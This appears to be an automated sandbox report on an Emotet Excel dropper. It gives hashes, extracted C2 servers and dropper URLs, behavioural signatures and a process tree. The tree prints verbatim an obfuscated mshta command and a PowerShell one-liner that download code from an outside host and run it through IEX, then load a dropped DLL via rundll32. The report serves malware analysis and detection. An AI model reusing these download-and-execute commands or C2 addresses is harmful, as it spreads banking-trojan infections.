emotet | b7372c7e1872e75729b143fb071c7c33971de80b530329604331941268c19dcf

General

Target

tmp5zow45w_.xls
Size

35KB
MD5

b9f3a2c5250ca9f5e3a159d88b4e3342
SHA1

c19c874161d9a9c808bdc8635e33301888fb7c77
SHA256

b7372c7e1872e75729b143fb071c7c33971de80b530329604331941268c19dcf
SHA512

51f9a1c297cee34ecbe990b0319388ffffae20fb83717d94dbc911f5a46454b40310e40b84be418c76c0fb3e36176ff24396c967e234c4baa9ee7a889e532d84

Score

10^/10

emotet epoch5 banker suricata trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://91.240.118.168/oo/aa/se.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://91.240.118.168/oo/aa/se.png

Extracted

Family

emotet

Botnet

Epoch5

C2

159.69.43.124:8080

45.79.80.198:443

207.148.81.119:8080

128.199.192.135:8080

118.98.72.86:443

217.182.143.207:443

168.197.250.14:80

116.124.128.206:8080

78.46.73.125:443

185.148.168.15:8080

195.154.146.35:443

85.214.67.203:8080

194.9.172.107:8080

59.148.253.194:443

210.57.209.142:8080

54.38.242.185:443

195.77.239.39:8080

159.69.237.188:443

104.131.62.48:8080

62.171.178.147:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

CMD.EXE

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2480	2184	CMD.EXE	EXCEL.EXE

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata
Blocklisted process makes network request 6 IoCs

Processes:

mshta.exepowershell.exerundll32.exe

flow pid process

37 2476 mshta.exe
38 2756 powershell.exe
40 2756 powershell.exe
42 2756 powershell.exe
51 3828 rundll32.exe
52 3828 rundll32.exe
Downloads MZ/PE file
Loads dropped DLL 2 IoCs

Processes:

rundll32.exerundll32.exe

pid process

1412 rundll32.exe
3940 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Xsmqlmp\kzgvevhl.lph rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

2796 2476 WerFault.exe mshta.exe

flow	pid	process
37	2476	mshta.exe
38	2756	powershell.exe
40	2756	powershell.exe
42	2756	powershell.exe
51	3828	rundll32.exe
52	3828	rundll32.exe

pid	process
1412	rundll32.exe
3940	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Xsmqlmp\kzgvevhl.lph	rundll32.exe

pid	pid_target	process	target process
2796	2476	WerFault.exe	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

2184 EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

Processes:

powershell.exeWerFault.exerundll32.exe

pid	process
2756	powershell.exe
2756	powershell.exe
2756	powershell.exe
2796	WerFault.exe
2796	WerFault.exe
2796	WerFault.exe
2796	WerFault.exe
2796	WerFault.exe
2796	WerFault.exe
2796	WerFault.exe
2796	WerFault.exe
2796	WerFault.exe
2796	WerFault.exe
2796	WerFault.exe
2796	WerFault.exe
2796	WerFault.exe
2796	WerFault.exe
3828	rundll32.exe
3828	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exeWerFault.exe

description pid process

Token: SeDebugPrivilege 2756 powershell.exe
Token: SeDebugPrivilege 2796 WerFault.exe

description	pid	process
Token: SeDebugPrivilege	2756	powershell.exe
Token: SeDebugPrivilege	2796	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

Processes:

EXCEL.EXE

pid	process
2184	EXCEL.EXE
2184	EXCEL.EXE
2184	EXCEL.EXE
2184	EXCEL.EXE
2184	EXCEL.EXE
2184	EXCEL.EXE
2184	EXCEL.EXE
2184	EXCEL.EXE
2184	EXCEL.EXE
2184	EXCEL.EXE
2184	EXCEL.EXE
2184	EXCEL.EXE
2184	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

EXCEL.EXECMD.EXEmshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exe

description	pid	process	target process
PID 2184 wrote to memory of 2480	2184	EXCEL.EXE	CMD.EXE
PID 2184 wrote to memory of 2480	2184	EXCEL.EXE	CMD.EXE
PID 2480 wrote to memory of 2476	2480	CMD.EXE	mshta.exe
PID 2480 wrote to memory of 2476	2480	CMD.EXE	mshta.exe
PID 2476 wrote to memory of 2756	2476	mshta.exe	powershell.exe
PID 2476 wrote to memory of 2756	2476	mshta.exe	powershell.exe
PID 2756 wrote to memory of 644	2756	powershell.exe	cmd.exe
PID 2756 wrote to memory of 644	2756	powershell.exe	cmd.exe
PID 644 wrote to memory of 1412	644	cmd.exe	rundll32.exe
PID 644 wrote to memory of 1412	644	cmd.exe	rundll32.exe
PID 644 wrote to memory of 1412	644	cmd.exe	rundll32.exe
PID 1412 wrote to memory of 3940	1412	rundll32.exe	rundll32.exe
PID 1412 wrote to memory of 3940	1412	rundll32.exe	rundll32.exe
PID 1412 wrote to memory of 3940	1412	rundll32.exe	rundll32.exe
PID 3940 wrote to memory of 2704	3940	rundll32.exe	rundll32.exe
PID 3940 wrote to memory of 2704	3940	rundll32.exe	rundll32.exe
PID 3940 wrote to memory of 2704	3940	rundll32.exe	rundll32.exe
PID 2704 wrote to memory of 3828	2704	rundll32.exe	rundll32.exe
PID 2704 wrote to memory of 3828	2704	rundll32.exe	rundll32.exe
PID 2704 wrote to memory of 3828	2704	rundll32.exe	rundll32.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmp5zow45w_.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2184

C:\Windows\SYSTEM32\CMD.EXE
CMD.EXE /c ms^hta http://91.2^40.118.1^68/oo/aa/s^e.ht^m^l
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2480

C:\Windows\system32\mshta.exe
mshta http://91.240.118.168/oo/aa/se.html
3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2476

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({HgfRrtGdf}{HgfRrtGdf}Ne{HgfRrtGdf}{HgfRrtGdf}w{HgfRrtGdf}-Obj{HgfRrtGdf}ec{HgfRrtGdf}{HgfRrtGdf}t N{HgfRrtGdf}{HgfRrtGdf}et{HgfRrtGdf}.W{HgfRrtGdf}{HgfRrtGdf}e'.replace('{HgfRrtGdf}', ''); $c4='bC{HgfRrtGdf}li{HgfRrtGdf}{HgfRrtGdf}en{HgfRrtGdf}{HgfRrtGdf}t).D{HgfRrtGdf}{HgfRrtGdf}ow{HgfRrtGdf}{HgfRrtGdf}nl{HgfRrtGdf}{HgfRrtGdf}{HgfRrtGdf}o'.replace('{HgfRrtGdf}', ''); $c3='ad{HgfRrtGdf}{HgfRrtGdf}St{HgfRrtGdf}rin{HgfRrtGdf}{HgfRrtGdf}g{HgfRrtGdf}(''ht{HgfRrtGdf}tp{HgfRrtGdf}://91.240.118.168/oo/aa/se.png'')'.replace('{HgfRrtGdf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2756

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,AADD
5⤵
- Suspicious use of WriteProcessMemory
PID:644

C:\Windows\SysWow64\rundll32.exe
C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,AADD
6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1412

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:3940

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Xsmqlmp\kzgvevhl.lph",jFolcBm
8⤵
- Suspicious use of WriteProcessMemory
PID:2704

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Xsmqlmp\kzgvevhl.lph",DllRegisterServer
9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:3828

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 2476 -s 1656
4⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2796

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

3

T1082

Query Registry

2

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\ProgramData\QWER.dll
MD5
1fd4499e393eb2bae9ff1d58d4669c06

SHA1
dfa462ad52abf4edcc904edc3943e1573905bcbd

SHA256
a65662042685f530da46a94c8dc4b33248e682de80804764516957738d6381aa

SHA512
8a9aab40441cc91cbf5b70d69456d41ef2420f98c22ef7842edbf3088f62468f0b3fcb9ab4bd784c33ef908725e3db4e15a02814507f7a9b5c0e1c289dc94663

Download Submit
\ProgramData\QWER.dll
MD5
1fd4499e393eb2bae9ff1d58d4669c06

SHA1
dfa462ad52abf4edcc904edc3943e1573905bcbd

SHA256
a65662042685f530da46a94c8dc4b33248e682de80804764516957738d6381aa

SHA512
8a9aab40441cc91cbf5b70d69456d41ef2420f98c22ef7842edbf3088f62468f0b3fcb9ab4bd784c33ef908725e3db4e15a02814507f7a9b5c0e1c289dc94663

Download Submit
\ProgramData\QWER.dll
MD5
1fd4499e393eb2bae9ff1d58d4669c06

SHA1
dfa462ad52abf4edcc904edc3943e1573905bcbd

SHA256
a65662042685f530da46a94c8dc4b33248e682de80804764516957738d6381aa

SHA512
8a9aab40441cc91cbf5b70d69456d41ef2420f98c22ef7842edbf3088f62468f0b3fcb9ab4bd784c33ef908725e3db4e15a02814507f7a9b5c0e1c289dc94663

Download Submit
memory/1412-597-0x00000000040D0000-0x00000000040F7000-memory.dmp

Filesize
156KB

Download
memory/2184-128-0x00007FFFB4270000-0x00007FFFB4280000-memory.dmp

Filesize
64KB

Download
memory/2184-659-0x00007FFFB7DE0000-0x00007FFFB7DF0000-memory.dmp

Filesize
64KB

Download
memory/2184-129-0x00007FFFB4270000-0x00007FFFB4280000-memory.dmp

Filesize
64KB

Download
memory/2184-115-0x00007FFFB7DE0000-0x00007FFFB7DF0000-memory.dmp

Filesize
64KB

Download
memory/2184-656-0x00007FFFB7DE0000-0x00007FFFB7DF0000-memory.dmp

Filesize
64KB

Download
memory/2184-657-0x00007FFFB7DE0000-0x00007FFFB7DF0000-memory.dmp

Filesize
64KB

Download
memory/2184-658-0x00007FFFB7DE0000-0x00007FFFB7DF0000-memory.dmp

Filesize
64KB

Download
memory/2184-116-0x00007FFFB7DE0000-0x00007FFFB7DF0000-memory.dmp

Filesize
64KB

Download
memory/2184-117-0x00007FFFB7DE0000-0x00007FFFB7DF0000-memory.dmp

Filesize
64KB

Download
memory/2184-119-0x00007FFFB7DE0000-0x00007FFFB7DF0000-memory.dmp

Filesize
64KB

Download
memory/2184-118-0x00007FFFB7DE0000-0x00007FFFB7DF0000-memory.dmp

Filesize
64KB

Download
memory/2704-613-0x0000000003120000-0x0000000003147000-memory.dmp

Filesize
156KB

Download
memory/2756-308-0x0000020BF1086000-0x0000020BF1088000-memory.dmp

Filesize
8KB

Download
memory/2756-303-0x0000020BF1083000-0x0000020BF1085000-memory.dmp

Filesize
8KB

Download
memory/2756-302-0x0000020BF1080000-0x0000020BF1082000-memory.dmp

Filesize
8KB

Download
memory/2756-301-0x0000020BF1710000-0x0000020BF1786000-memory.dmp

Filesize
472KB

Download
memory/2756-290-0x0000020BF1040000-0x0000020BF107C000-memory.dmp

Filesize
240KB

Download
memory/2756-271-0x0000020BF0EB0000-0x0000020BF0ED2000-memory.dmp

Filesize
136KB

Download
memory/3828-621-0x0000000004C60000-0x0000000004C87000-memory.dmp

Filesize
156KB

Download
memory/3828-625-0x0000000004E20000-0x0000000004E47000-memory.dmp

Filesize
156KB

Download
memory/3828-633-0x0000000005280000-0x00000000052A7000-memory.dmp

Filesize
156KB

Download
memory/3828-616-0x0000000004471000-0x0000000004494000-memory.dmp

Filesize
140KB

Download
memory/3828-619-0x0000000004B80000-0x0000000004BA7000-memory.dmp

Filesize
156KB

Download
memory/3828-631-0x0000000005200000-0x0000000005227000-memory.dmp

Filesize
156KB

Download
memory/3828-623-0x0000000004D40000-0x0000000004D67000-memory.dmp

Filesize
156KB

Download
memory/3828-629-0x0000000005010000-0x0000000005037000-memory.dmp

Filesize
156KB

Download
memory/3828-627-0x0000000004F10000-0x0000000004F37000-memory.dmp

Filesize
156KB

Download
memory/3940-614-0x0000000004BE0000-0x0000000004C07000-memory.dmp

Filesize
156KB

Download
memory/3940-609-0x00000000049B0000-0x00000000049D7000-memory.dmp

Filesize
156KB

Download
memory/3940-611-0x0000000004A10000-0x0000000004A37000-memory.dmp

Filesize
156KB

Download
memory/3940-607-0x0000000004950000-0x0000000004977000-memory.dmp

Filesize
156KB

Download
memory/3940-605-0x00000000047F0000-0x0000000004817000-memory.dmp

Filesize
156KB

Download
memory/3940-603-0x0000000004710000-0x0000000004737000-memory.dmp

Filesize
156KB

Download
memory/3940-600-0x0000000002860000-0x0000000002887000-memory.dmp

Filesize
156KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads